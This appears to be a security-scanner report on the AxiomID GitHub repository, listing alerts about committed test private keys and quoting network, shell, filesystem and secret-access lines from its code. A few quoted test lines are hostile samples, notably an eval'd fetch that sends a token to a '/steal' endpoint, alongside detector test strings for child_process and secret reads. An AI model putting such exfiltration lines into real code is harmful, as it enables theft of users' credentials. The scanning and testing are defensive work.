github TypeScript re-analysis due unconfirmed MCP

pai-list/AxiomID

github

Axiom Identity Protocol (AIP) — Universal identity layer for Humans + AI Agents (DID, TrustChain, Pi Network)

maintainer: pai-list
license: NOASSERTION
first seen: 2026-07-21
last seen: 2026-08-14
releases · 30d: 0
short id

Drift inferred · capture-to-capture

HIGH 2026-08-14 code analysis flagged committed secret in pai-list/AxiomID
HIGH 2026-08-13 code analysis flagged committed secret in pai-list/AxiomID
HIGH 2026-08-13 code analysis flagged committed secret in pai-list/AxiomID
HIGH 2026-08-12 code analysis flagged committed secret in pai-list/AxiomID
HIGH 2026-08-12 code analysis flagged committed secret in pai-list/AxiomID
HIGH 2026-08-12 code analysis flagged committed secret in pai-list/AxiomID
HIGH 2026-08-12 code analysis flagged committed secret in pai-list/AxiomID
HIGH 2026-08-11 code analysis flagged committed secret in pai-list/AxiomID
HIGH 2026-08-11 code analysis flagged committed secret in pai-list/AxiomID
HIGH 2026-08-10 code analysis flagged committed secret in pai-list/AxiomID
HIGH 2026-08-07 code analysis flagged committed secret, dynamic code execution ×2 in pai-list/AxiomID
HIGH 2026-07-30 code analysis flagged committed secret, dynamic code execution in pai-list/AxiomID
HIGH 2026-07-21 code analysis flagged committed secret in pai-list/AxiomID

capabilities 0 tools

transport http counts 0 tools · 0 res · 0 prompts permission surface via code analysis

No tools enumerated yet for this server.

skills & danger signals github-tarball

prompt-surface shipped agent-instruction files + hidden-content / dangerous-code findings — quoted from the analyzed source

analyzed commit 0e803e6 · analyzer v32 · 1h ago

skills & prompt files 25

danger signals8

dynamic code execution eval() pai-list-AxiomID-0e803e6/packages/did-integrity-guard/src/did-integrity-guard.test.ts :113 eval("fetch('http://192.168.1.100/steal?key=' + token)");
dynamic code execution new Function() pai-list-AxiomID-0e803e6/src/__tests__/components/InductGraphCanvas.test.tsx :166 nodes = new Function(`return ${text}`)()
suspicious endpoint us.posthog.com (telemetry) expected for this server's purpose pai-list-AxiomID-0e803e6/instrumentation-client.ts :5 ui_host: "https://us.posthog.com",
suspicious endpoint us-assets.i.posthog.com (telemetry) expected for this server's purpose pai-list-AxiomID-0e803e6/next.config.ts :19 destination: "https://us-assets.i.posthog.com/static/:path*",
suspicious endpoint us.i.posthog.com (telemetry) expected for this server's purpose pai-list-AxiomID-0e803e6/next.config.ts :27 destination: "https://us.i.posthog.com/:path*",
committed secret private key pai-list-AxiomID-0e803e6/jest.setup.js :34 PEM private key block (redacted)
committed secret private key pai-list-AxiomID-0e803e6/src/__tests__/api/social-claims.test.ts :119 PEM private key block (redacted)
committed secret private key pai-list-AxiomID-0e803e6/src/__tests__/api/stamp-system.test.ts :121 PEM private key block (redacted)

code evidence vv0.1.2 · github-tarball

evidence-backed findings quoted directly from the published source artifact — not inferred

code files: 778

filesystem 30

fs (weak) pai-list-AxiomID-0e803e6/.agents/skills/brainstorming/scripts/server.cjs :3 const fs = require('fs');
fs (weak) pai-list-AxiomID-0e803e6/.agents/skills/working-with-claude-code/scripts/update_docs.js :13 const fs = require('fs');
fs pai-list-AxiomID-0e803e6/.agents/skills/writing-skills/render-graphs.js :16 const fs = require('fs');
fs pai-list-AxiomID-0e803e6/backend/check-types.cjs :2 const fs = require("fs");
fs (weak) pai-list-AxiomID-0e803e6/packages/crypto/src/__tests__/package.test.ts :10 import * as fs from "fs";
fs (weak) pai-list-AxiomID-0e803e6/packages/sdk/src/__tests__/package.test.ts :10 import * as fs from "fs";
fs (weak) pai-list-AxiomID-0e803e6/scripts/ingest_truth.ts :18 import { writeFileSync, unlinkSync, mkdirSync } from "fs";
fs (weak) pai-list-AxiomID-0e803e6/scripts/pre-commit-validate.mjs :18 import { readFileSync } from "fs";
fs (weak) pai-list-AxiomID-0e803e6/scripts/simulate_axelrod.ts :1 import * as fs from 'fs';
fs (weak) pai-list-AxiomID-0e803e6/scripts/topology_integrity_checker.ts :1 import * as fs from 'fs';
fs (weak) pai-list-AxiomID-0e803e6/scripts/validate-skill-manifest.ts :12 import { readFileSync, existsSync } from 'fs';
fs (weak) pai-list-AxiomID-0e803e6/src/__tests__/api/sandbox-execute.test.ts :59 inputData: 'const fs = require("fs");'
fs (weak) pai-list-AxiomID-0e803e6/src/__tests__/codeowners.test.ts :13 import fs from "fs";
fs (weak) pai-list-AxiomID-0e803e6/src/__tests__/components/InductGraphCanvas.test.tsx :32 import fs from 'fs'
fs (weak) pai-list-AxiomID-0e803e6/src/__tests__/contributing-guide.test.ts :13 import fs from "fs";
fs (weak) pai-list-AxiomID-0e803e6/src/__tests__/docs/archive-iqra-core-schema.test.ts :12 import fs from "fs";
fs (weak) pai-list-AxiomID-0e803e6/src/__tests__/docs/archive-readme.test.ts :9 import fs from "fs";
fs (weak) pai-list-AxiomID-0e803e6/src/__tests__/docs/marketplace-aix-adoption-spec.test.ts :11 import fs from "fs";
fs (weak) pai-list-AxiomID-0e803e6/src/__tests__/docs/rta-phase-7-implementation-plan.test.ts :9 import fs from "fs";
fs (weak) pai-list-AxiomID-0e803e6/src/__tests__/docs/rta-phase-7-modernization-design-spec.test.ts :9 import fs from "fs";
fs (weak) pai-list-AxiomID-0e803e6/src/__tests__/docs/rta-phase-7-plan-spec-consistency.test.ts :13 import fs from "fs";
fs (weak) pai-list-AxiomID-0e803e6/src/__tests__/label-workflow.test.ts :20 import fs from "fs";
fs (weak) pai-list-AxiomID-0e803e6/src/__tests__/lib/sandbox/ast-scanner.test.ts :10 const badCode1 = "const fs = require('fs');";
fs (weak) pai-list-AxiomID-0e803e6/src/__tests__/lib/simulate_axelrod.test.ts :10 import * as fs from 'fs';
fs (weak) pai-list-AxiomID-0e803e6/src/__tests__/release-tag-workflow.test.ts :21 import fs from "fs";
fs (weak) pai-list-AxiomID-0e803e6/src/__tests__/security-policy.test.ts :13 import fs from "fs";
fs (weak) pai-list-AxiomID-0e803e6/src/__tests__/sentry-package-and-env.test.ts :13 import fs from "fs";
fs (weak) pai-list-AxiomID-0e803e6/src/__tests__/sw.test.ts :22 import fs from "fs";
fs pai-list-AxiomID-0e803e6/src/lib/docs-content.ts :1 import fs from "fs";
fs (weak) pai-list-AxiomID-0e803e6/src/lib/sandbox/ast-scanner.ts :18 // a payload like `${require('fs')}` would have the entire backtick region

shell / exec 7

shell (weak) pai-list-AxiomID-0e803e6/.agents/skills/brainstorming/scripts/server.cjs :537 const cp = require('child_process');
shell pai-list-AxiomID-0e803e6/.agents/skills/writing-skills/render-graphs.js :18 const { execSync } = require('child_process');
shell (weak) pai-list-AxiomID-0e803e6/scripts/ingest_truth.ts :17 import { execSync } from "child_process";
shell (weak) pai-list-AxiomID-0e803e6/scripts/pre-commit-validate.mjs :17 import { execSync, execFileSync } from "child_process";
shell (weak) pai-list-AxiomID-0e803e6/scripts/topology_integrity_checker.ts :3 import { execSync } from 'child_process';
shell (weak) pai-list-AxiomID-0e803e6/scripts/validate-skill-manifest.ts :13 import { execSync } from 'child_process';
shell (weak) pai-list-AxiomID-0e803e6/src/__tests__/lib/sandbox/ast-scanner.test.ts :11 const badCode2 = "import { exec } from 'child_process';";

network 77

net (weak) pai-list-AxiomID-0e803e6/.agents/skills/brainstorming/scripts/server.cjs :2 const http = require('http');
net (weak) pai-list-AxiomID-0e803e6/.agents/skills/working-with-claude-code/scripts/update_docs.js :12 const https = require('https');
net pai-list-AxiomID-0e803e6/backend/src/index.ts :22 async fetch(request: Request): Promise<Response> {
net pai-list-AxiomID-0e803e6/backend/src/lib/perplexity-client.ts :3 * Uses fetch() instead of OpenAI SDK.
net pai-list-AxiomID-0e803e6/backend/src/router.ts :290 const resp = await obj.fetch(new Request("https://internal/heartbeat", { method: "POST" }));
net pai-list-AxiomID-0e803e6/backend/src/routes/github-webhook.ts :45 const resp = await fetch(diffUrl, {
net pai-list-AxiomID-0e803e6/backend/src/workers/agent-email-router.ts :53 const doResponse = await agentStub.fetch("https://internal/email", {
net pai-list-AxiomID-0e803e6/backend/src/workers/harvest-processor.ts :57 await fetch(callbackUrl, {
net pai-list-AxiomID-0e803e6/jest.setup.js :2 import { fetch, Request, Response, Headers } from 'undici'
net (weak) pai-list-AxiomID-0e803e6/packages/did-integrity-guard/src/did-integrity-guard.test.ts :113 eval("fetch('http://192.168.1.100/steal?key=' + token)");
net pai-list-AxiomID-0e803e6/packages/pai-drv/src/worker.ts :55 async fetch(req: Request, env: Env): Promise<Response> {
net pai-list-AxiomID-0e803e6/packages/sdk/src/client.ts :45 const res = await fetch(`${this.baseUrl}${path}`, { headers });
net pai-list-AxiomID-0e803e6/packages/sdk/src/subscriber-collaboration.ts :73 const response = await fetch(url, {
net pai-list-AxiomID-0e803e6/packages/sim-loop/src/worker.ts :48 async fetch(req: Request): Promise<Response> {
net pai-list-AxiomID-0e803e6/public/sw.js :71 const fetchPromise = fetch(event.request).then((response) => {
net (weak) pai-list-AxiomID-0e803e6/scripts/ingest_truth.ts :33 const res = await fetch(url, options);
net pai-list-AxiomID-0e803e6/skills/pi-auth-bridge/agentScript.ts :57 const response = await fetch(`${piApiBase}/v2/me`, {
net (weak) pai-list-AxiomID-0e803e6/src/__tests__/backend/worker.test.ts :48 return obj.fetch(request);
net (weak) pai-list-AxiomID-0e803e6/src/__tests__/lib/sandbox/ast-scanner.test.ts :24 const badCode1 = "fetch('https://malicious.com');";
net pai-list-AxiomID-0e803e6/src/app/agent/[username]/page.tsx :39 const res = await fetch(`/api/agent/public?username=${encodeURIComponent(username)}`);
net pai-list-AxiomID-0e803e6/src/app/api/auth/google/route.ts :51 const res = await fetch(`https://oauth2.googleapis.com/tokeninfo?id_token=${encodeURIComponent(idToken)}`, {
net pai-list-AxiomID-0e803e6/src/app/api/auth/pi/route.ts :81 const piResponse = await fetch('https://api.minepi.com/v2/me', {
net pai-list-AxiomID-0e803e6/src/app/api/health/route.ts :34 const res = await fetch("https://horizon.stellar.org/", {
net pai-list-AxiomID-0e803e6/src/app/api/pi/ads/verify/route.ts :69 const response = await fetch(`https://api.minepi.com/v2/ads_network/status/${adId}`, {
net pai-list-AxiomID-0e803e6/src/app/api/pi/payment/approve/route.ts :66 const getResponse = await fetch(`https://api.minepi.com/v2/payments/${paymentId}`, {
net pai-list-AxiomID-0e803e6/src/app/api/pi/payment/complete/route.ts :79 const piResponse = await fetch(`https://api.minepi.com/v2/payments/${paymentId}/complete`, {
net pai-list-AxiomID-0e803e6/src/app/api/pi/payment/incomplete/route.ts :77 const getResponse = await fetch(`https://api.minepi.com/v2/payments/${paymentId}`, {
net pai-list-AxiomID-0e803e6/src/app/api/presence/heartbeat/route.ts :42 const response = await fetch(`${backendUrl}/heartbeat?agentId=${agentId}`, {
net pai-list-AxiomID-0e803e6/src/app/api/stream/route.ts :29 const cfRes = await fetch(cfUrl, {
net pai-list-AxiomID-0e803e6/src/app/api/sync/route.ts :241 const response = await fetch(`${backendUrl}/api/sync/export?since=${since}`, {
net pai-list-AxiomID-0e803e6/src/app/api/sync/sync-helpers.ts :27 const response = await fetch(`${backendUrl}/api/sync/export?since=${since}`, {
net pai-list-AxiomID-0e803e6/src/app/api/voice/route.ts :29 const cfRes = await fetch(cfUrl, {
net pai-list-AxiomID-0e803e6/src/app/claim/page.tsx :126 const kyaRes = await fetch("/api/pi/kya/verify", {
net pai-list-AxiomID-0e803e6/src/app/context/use-wallet-actions.ts :66 const res = await fetch(`/api/user/status`, { headers });
net pai-list-AxiomID-0e803e6/src/app/context/use-wallet-agent.ts :32 const res = await fetch("/api/agent", {
net pai-list-AxiomID-0e803e6/src/app/context/use-wallet-auth.ts :92 const tokenResponse = await fetch('/api/sandbox/dev-token');
net pai-list-AxiomID-0e803e6/src/app/context/wallet-context.tsx :227 fetch(`/api/user/status`, { headers }).then(res => {
net pai-list-AxiomID-0e803e6/src/app/dashboard/marketplace/page.tsx :119 const res = await fetch("/api/skills/tags");
net pai-list-AxiomID-0e803e6/src/app/dashboard/page.tsx :85 const response = await fetch("/api/sync", { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ source: "all", dryRun: false }) });
net pai-list-AxiomID-0e803e6/src/app/dashboard/settings/page.tsx :66 const res = await fetch("/api/user/status", { headers });
net pai-list-AxiomID-0e803e6/src/app/diagnostics/page.tsx :25 const res = await fetch("/api/diagnostics/logs");
net pai-list-AxiomID-0e803e6/src/app/explorer/page.tsx :62 const res = await fetch("/api/explorer");
net pai-list-AxiomID-0e803e6/src/app/leaderboard/page.tsx :45 const res = await fetch("/api/leaderboard");
net pai-list-AxiomID-0e803e6/src/app/onboarding/page.tsx :42 const kyaRes = await fetch("/api/pi/kya/verify", {
net pai-list-AxiomID-0e803e6/src/app/pai/try/page.tsx :92 const res = await fetch('https://drive.here.now/api/upload', {
net pai-list-AxiomID-0e803e6/src/app/passport/[slug]/PassportView.tsx :38 const res = await fetch(`/api/passport/${encodeURIComponent(slug)}`);
net pai-list-AxiomID-0e803e6/src/app/signin/callback/page.tsx :44 const authRes = await fetch("/api/auth/pi", {
net pai-list-AxiomID-0e803e6/src/app/status/page.tsx :58 fetch("/api/status"),
net pai-list-AxiomID-0e803e6/src/components/FontLoader.tsx :52 const response = await fetch(url);
net pai-list-AxiomID-0e803e6/src/components/StatsBar.tsx :38 const res = await fetch(GATEWAY_HEALTH_URL, { signal: controller.signal });
net pai-list-AxiomID-0e803e6/src/components/dashboard/PublishSkillForm.tsx :86 const res = await fetch("/api/skills", {
net pai-list-AxiomID-0e803e6/src/components/dashboard/SpendRequestsPanel.tsx :53 const res = await fetch(`/api/spend-request?status=pending`);
net pai-list-AxiomID-0e803e6/src/components/dashboard/tabs/MemoryTab.tsx :19 fetch("/api/skills?limit=10", { signal: controller.signal })
net pai-list-AxiomID-0e803e6/src/components/dashboard/tabs/SkillsTab.tsx :33 fetch("/api/skills?limit=20", { signal: controller.signal })
net pai-list-AxiomID-0e803e6/src/components/dashboard/tabs/TrustHistoryGraph.tsx :24 fetch("/api/user/status", { signal: controller.signal })
net pai-list-AxiomID-0e803e6/src/components/landing/CurrentMission.tsx :33 const res = await fetch("/api/status", { headers: { Accept: "application/json" } });
net pai-list-AxiomID-0e803e6/src/components/landing/EconomySection.tsx :26 const res = await fetch("/api/explorer", { headers: { Accept: "application/json" } });
net pai-list-AxiomID-0e803e6/src/components/landing/InteractiveCommandDemo.tsx :83 const res = await fetch(path, { signal, headers: { Accept: "application/json" } });
net pai-list-AxiomID-0e803e6/src/components/landing/LiveMemory.tsx :28 const res = await fetch("/api/explorer", { headers: { Accept: "application/json" } });
net pai-list-AxiomID-0e803e6/src/components/landing/ProofsSection.tsx :21 const res = await fetch("/api/did-document", { headers: { Accept: "application/json" } });
net pai-list-AxiomID-0e803e6/src/components/landing/RunningAgents.tsx :30 const res = await fetch("/api/explorer", { headers: { Accept: "application/json" } });
net pai-list-AxiomID-0e803e6/src/components/landing/SpecStream.tsx :34 const res = await fetch(step.endpoint, { headers: { Accept: "application/json" } });
net pai-list-AxiomID-0e803e6/src/components/os/DesktopTaskbar.tsx :28 fetch("https://gspace.axiomid.app/api/telemetry", { cache: "no-store" })
net pai-list-AxiomID-0e803e6/src/components/os/GoogleConnectButton.tsx :47 const res = await fetch("/api/auth/google", {
net pai-list-AxiomID-0e803e6/src/components/os/StatusBar.tsx :21 const res = await fetch(GATEWAY_HEALTH_URL, { signal: controller.signal });
net pai-list-AxiomID-0e803e6/src/components/plans/CheckoutButton.tsx :16 const res = await fetch(`/api/plans/checkout?plan=${plan}`, { method: "POST" });
net pai-list-AxiomID-0e803e6/src/lib/agents/perplexity.ts :40 const response = await fetch('https://api.perplexity.ai/chat/completions', {
net pai-list-AxiomID-0e803e6/src/lib/auth-middleware.ts :201 const piResponse = await fetch('https://api.minepi.com/v2/me', {
net pai-list-AxiomID-0e803e6/src/lib/auth-tokens.ts :134 const res = await fetch(PI_JWKS_URL, { signal: AbortSignal.timeout(5000) });
net pai-list-AxiomID-0e803e6/src/lib/autonoma.ts :104 const res = await fetch(`${getApiUrl()}${path}`, {
net pai-list-AxiomID-0e803e6/src/lib/ghost.ts :40 const res = await fetch(`${GHOST_BASE}${path}`, {
net pai-list-AxiomID-0e803e6/src/lib/herenow.ts :54 const res = await fetch(`${getApiUrl()}${path}`, {
net pai-list-AxiomID-0e803e6/src/lib/pi-kyc.ts :21 const response = await fetch('https://api.minepi.com/v2/me', {
net pai-list-AxiomID-0e803e6/src/lib/pi-sdk.ts :318 const approveRes = await fetch("/api/pi/payment/approve", {
net pai-list-AxiomID-0e803e6/src/lib/pi-signin.ts :113 const res = await fetch("https://api.minepi.com/v2/me", {
net pai-list-AxiomID-0e803e6/src/lib/pi-verify.ts :39 const response = await fetch(`${baseUrl}/verify`, {
net pai-list-AxiomID-0e803e6/src/lib/storage/ipfs-sync.ts :63 const response = await fetch("https://api.pinata.cloud/pinning/pinJSONToIPFS", {

secrets 43

secrets (weak) pai-list-AxiomID-0e803e6/.agents/skills/brainstorming/scripts/server.cjs :133 if (process.env.BRAINSTORM_TOKEN) {
secrets pai-list-AxiomID-0e803e6/jest.setup.js :34 process.env.ISSUER_PRIVATE_KEY = `-----BEGIN PRIVATE KEY-----
secrets (weak) pai-list-AxiomID-0e803e6/src/__tests__/api/agent-manifest.test.ts :73 process.env.ISSUER_PRIVATE_KEY = '-----BEGIN PRIVATE KEY-----\nfakekey\n-----END PRIVATE KEY-----';
secrets (weak) pai-list-AxiomID-0e803e6/src/__tests__/api/auth-pi.test.ts :346 prevSandboxDevToken = process.env.SANDBOX_DEV_TOKEN;
secrets (weak) pai-list-AxiomID-0e803e6/src/__tests__/api/passport-publish.test.ts :189 const originalSecret = process.env.STELLAR_SECRET_KEY;
secrets (weak) pai-list-AxiomID-0e803e6/src/__tests__/api/pi-payment-approve.test.ts :201 prevKey = process.env.PI_API_KEY;
secrets (weak) pai-list-AxiomID-0e803e6/src/__tests__/api/plans-checkout.test.ts :44 delete process.env.GHOST_API_KEY;
secrets (weak) pai-list-AxiomID-0e803e6/src/__tests__/api/social-claims.test.ts :119 process.env.ISSUER_PRIVATE_KEY = `-----BEGIN PRIVATE KEY-----
secrets (weak) pai-list-AxiomID-0e803e6/src/__tests__/api/stamp-system.test.ts :121 process.env.ISSUER_PRIVATE_KEY = `-----BEGIN PRIVATE KEY-----
secrets (weak) pai-list-AxiomID-0e803e6/src/__tests__/lib/crypto.test.ts :18 delete process.env.PI_TOKEN_ENCRYPTION_KEY;
secrets (weak) pai-list-AxiomID-0e803e6/src/__tests__/lib/ghost.test.ts :26 delete process.env.GHOST_API_KEY;
secrets (weak) pai-list-AxiomID-0e803e6/src/__tests__/lib/herenow.test.ts :19 process.env.HERENOW_TOKEN = "test-token";
secrets (weak) pai-list-AxiomID-0e803e6/src/__tests__/lib/oauth-state.test.ts :9 originalSecret = process.env.OAUTH_STATE_SECRET;
secrets (weak) pai-list-AxiomID-0e803e6/src/__tests__/lib/perplexity.test.ts :16 delete process.env.PERPLEXITY_API_KEY;
secrets (weak) pai-list-AxiomID-0e803e6/src/__tests__/lib/pi-verify.test.ts :22 delete process.env.PI_VERIFY_API_KEY;
secrets (weak) pai-list-AxiomID-0e803e6/src/__tests__/lib/sandbox-token.test.ts :20 savedSandboxDevToken = process.env.SANDBOX_DEV_TOKEN;
secrets (weak) pai-list-AxiomID-0e803e6/src/__tests__/lib/sandbox/ast-scanner.test.ts :25 const badCode2 = "console.log(process.env.SECRET);";
secrets (weak) pai-list-AxiomID-0e803e6/src/__tests__/lib/vc.test.ts :392 const originalKey = process.env.ISSUER_PRIVATE_KEY;
secrets pai-list-AxiomID-0e803e6/src/app/api/agent/manifest/route.ts :28 const issuerPrivateKeyPem = process.env.ISSUER_PRIVATE_KEY;
secrets pai-list-AxiomID-0e803e6/src/app/api/auth/state/route.ts :15 return process.env.OAUTH_STATE_SECRET || null;
secrets pai-list-AxiomID-0e803e6/src/app/api/daily-review/route.ts :7 const cronSecret = process.env.CRON_SECRET;
secrets pai-list-AxiomID-0e803e6/src/app/api/passport/[slug]/publish/route.ts :111 const SOVEREIGN_KEY = process.env.STELLAR_SECRET_KEY;
secrets pai-list-AxiomID-0e803e6/src/app/api/pi/ads/verify/route.ts :47 const PI_API_KEY = process.env.PI_API_KEY;
secrets pai-list-AxiomID-0e803e6/src/app/api/pi/payment/approve/route.ts :44 const PI_API_KEY = process.env.PI_API_KEY;
secrets pai-list-AxiomID-0e803e6/src/app/api/pi/payment/complete/route.ts :51 const PI_API_KEY = process.env.PI_API_KEY;
secrets pai-list-AxiomID-0e803e6/src/app/api/pi/payment/incomplete/route.ts :54 const PI_API_KEY = process.env.PI_API_KEY;
secrets pai-list-AxiomID-0e803e6/src/app/api/stream/route.ts :13 const apiToken = process.env.CLOUDFLARE_API_TOKEN;
secrets pai-list-AxiomID-0e803e6/src/app/api/sync/route.ts :125 const cronSecret = process.env.CRON_SECRET;
secrets pai-list-AxiomID-0e803e6/src/app/api/telegram/route.ts :5 const botToken = process.env.TELEGRAM_BOT_TOKEN;
secrets pai-list-AxiomID-0e803e6/src/app/api/upload/presign/route.ts :19 const R2_SECRET_ACCESS_KEY = process.env.CLOUDFLARE_R2_SECRET_ACCESS_KEY;
secrets pai-list-AxiomID-0e803e6/src/app/api/voice/route.ts :14 const apiToken = process.env.CLOUDFLARE_API_TOKEN;
secrets (weak) pai-list-AxiomID-0e803e6/src/app/docs/page.tsx :50 apiKey: process.env.AXIOM_API_KEY,
secrets pai-list-AxiomID-0e803e6/src/lib/agents/perplexity.ts :22 const apiKey = process.env.PERPLEXITY_API_KEY;
secrets pai-list-AxiomID-0e803e6/src/lib/auth-tokens.ts :20 const key = process.env.AUTH_TOKEN_SECRET;
secrets pai-list-AxiomID-0e803e6/src/lib/autonoma.ts :43 return process.env.AUTONOMA_API_KEY || "";
secrets pai-list-AxiomID-0e803e6/src/lib/crypto.ts :12 const raw = process.env.PI_TOKEN_ENCRYPTION_KEY;
secrets pai-list-AxiomID-0e803e6/src/lib/ghost.ts :32 return Boolean(process.env.GHOST_API_KEY);
secrets pai-list-AxiomID-0e803e6/src/lib/herenow.ts :12 return process.env.HERENOW_TOKEN || "";
secrets pai-list-AxiomID-0e803e6/src/lib/oauth-state.ts :10 return process.env.OAUTH_STATE_SECRET || null;
secrets pai-list-AxiomID-0e803e6/src/lib/pi-verify.ts :10 return process.env.PI_VERIFY_API_KEY;
secrets pai-list-AxiomID-0e803e6/src/lib/rate-limiter.ts :80 const UPSTASH_TOKEN = process.env.UPSTASH_REDIS_REST_TOKEN;
secrets pai-list-AxiomID-0e803e6/src/lib/revocation-store.ts :12 process.env.UPSTASH_REDIS_REST_URL && process.env.UPSTASH_REDIS_REST_TOKEN
secrets pai-list-AxiomID-0e803e6/src/lib/sandbox-token.ts :13 return process.env.SANDBOX_DEV_TOKEN;

database 14

db pai-list-AxiomID-0e803e6/prisma/seed-tags.ts :1 import { PrismaClient } from '@prisma/client';
db (weak) pai-list-AxiomID-0e803e6/src/__tests__/api/agent-activate.test.ts :52 import { UserAgent } from '@prisma/client';
db (weak) pai-list-AxiomID-0e803e6/src/__tests__/api/agent-main.test.ts :6 import { UserAgent, AgentLog } from '@prisma/client';
db (weak) pai-list-AxiomID-0e803e6/src/__tests__/api/agent-pause.test.ts :6 import { UserAgent } from '@prisma/client';
db (weak) pai-list-AxiomID-0e803e6/src/__tests__/api/agent.test.ts :6 import { UserAgent } from '@prisma/client';
db (weak) pai-list-AxiomID-0e803e6/src/__tests__/lib/prisma.test.ts :29 const { PrismaClient } = require('@prisma/client')
db pai-list-AxiomID-0e803e6/src/app/.well-known/agent-card.json/route.ts :7 import type { UserAgent, Skill, SkillInstallation } from "@prisma/client";
db pai-list-AxiomID-0e803e6/src/app/api/pi/payment/complete/route.ts :3 import { Prisma } from '@prisma/client';
db pai-list-AxiomID-0e803e6/src/app/api/pi/payment/incomplete/route.ts :3 import { Prisma } from '@prisma/client';
db pai-list-AxiomID-0e803e6/src/app/api/skills/route.ts :8 import { SkillTier } from '@prisma/client';
db pai-list-AxiomID-0e803e6/src/app/api/social/disconnect/route.ts :3 import { Prisma } from '@prisma/client';
db pai-list-AxiomID-0e803e6/src/app/api/stamp/claim/route.ts :3 import { Prisma } from "@prisma/client";
db pai-list-AxiomID-0e803e6/src/lib/agent-landing-page.ts :31 import type { UserAgent, Skill, SkillInstallation } from "@prisma/client";
db pai-list-AxiomID-0e803e6/src/lib/prisma.ts :1 import { PrismaClient } from '@prisma/client'

declared dependencies 61

@axiomid/crypto@file:packages/crypto
@axiomid/sdk@file:packages/sdk
@json-render/core@^0.19.0
@json-render/react@^0.19.0
@nostics/unplugin@^1.1.0
@prisma/client@^6.19.3
@sentry/nextjs@^10.67.0
@tanstack/react-query@^5.101.3
@types/d3@^7.4.3
@upstash/ratelimit@^2.0.8
@upstash/redis@^1.38.1
@vercel/analytics@^2.0.1
@vercel/og@^0.11.1
@vercel/speed-insights@^2.0.0
canvas-confetti@^1.9.4
clsx@^2.1.1
d3@^7.9.0
framer-motion@^12.42.2
html2canvas@^1.4.1
isomorphic-dompurify@^2.26.0
jose@^5.9.6
lucide-react@^1.25.0
next@^16.2.10
nostics@^1.2.0
posthog-js@^1.409.5
posthog-node@^5.47.3
qrcode.react@^4.2.0
react@19.2.8
react-dom@19.2.8
react-error-boundary@^6.1.2
sonner@^2.0.7
stellar-sdk@^13.3.0
tailwind-merge@^3.6.0
telegraf@^4.16.3
zod@^4.4.3
@emulators/adapter-next@^0.9.0
@emulators/github@^0.9.0
@jest/globals@^30.4.1
@playwright/test@^1.61.1
@tailwindcss/postcss@^4
@tanstack/react-query-devtools@^5.101.3
@testing-library/dom@^10.4.1
@testing-library/jest-dom@^6.9.1
@testing-library/react@^16.3.2
@testing-library/user-event@^14.6.1
@types/canvas-confetti@^1.9.0
@types/node@^26
@types/react@^19
@types/react-dom@^19
eslint@^9
eslint-config-next@16.2.12
jest@^30.4.2
jest-environment-jsdom@^30.4.1
jest-location-mock@^4.0.1
knip@^6.31.0
lint-staged@^16.4.0
prisma@^6.19.3
tailwindcss@^4
ts-node@^10.9.2
typescript@^5
undici@^8.8.0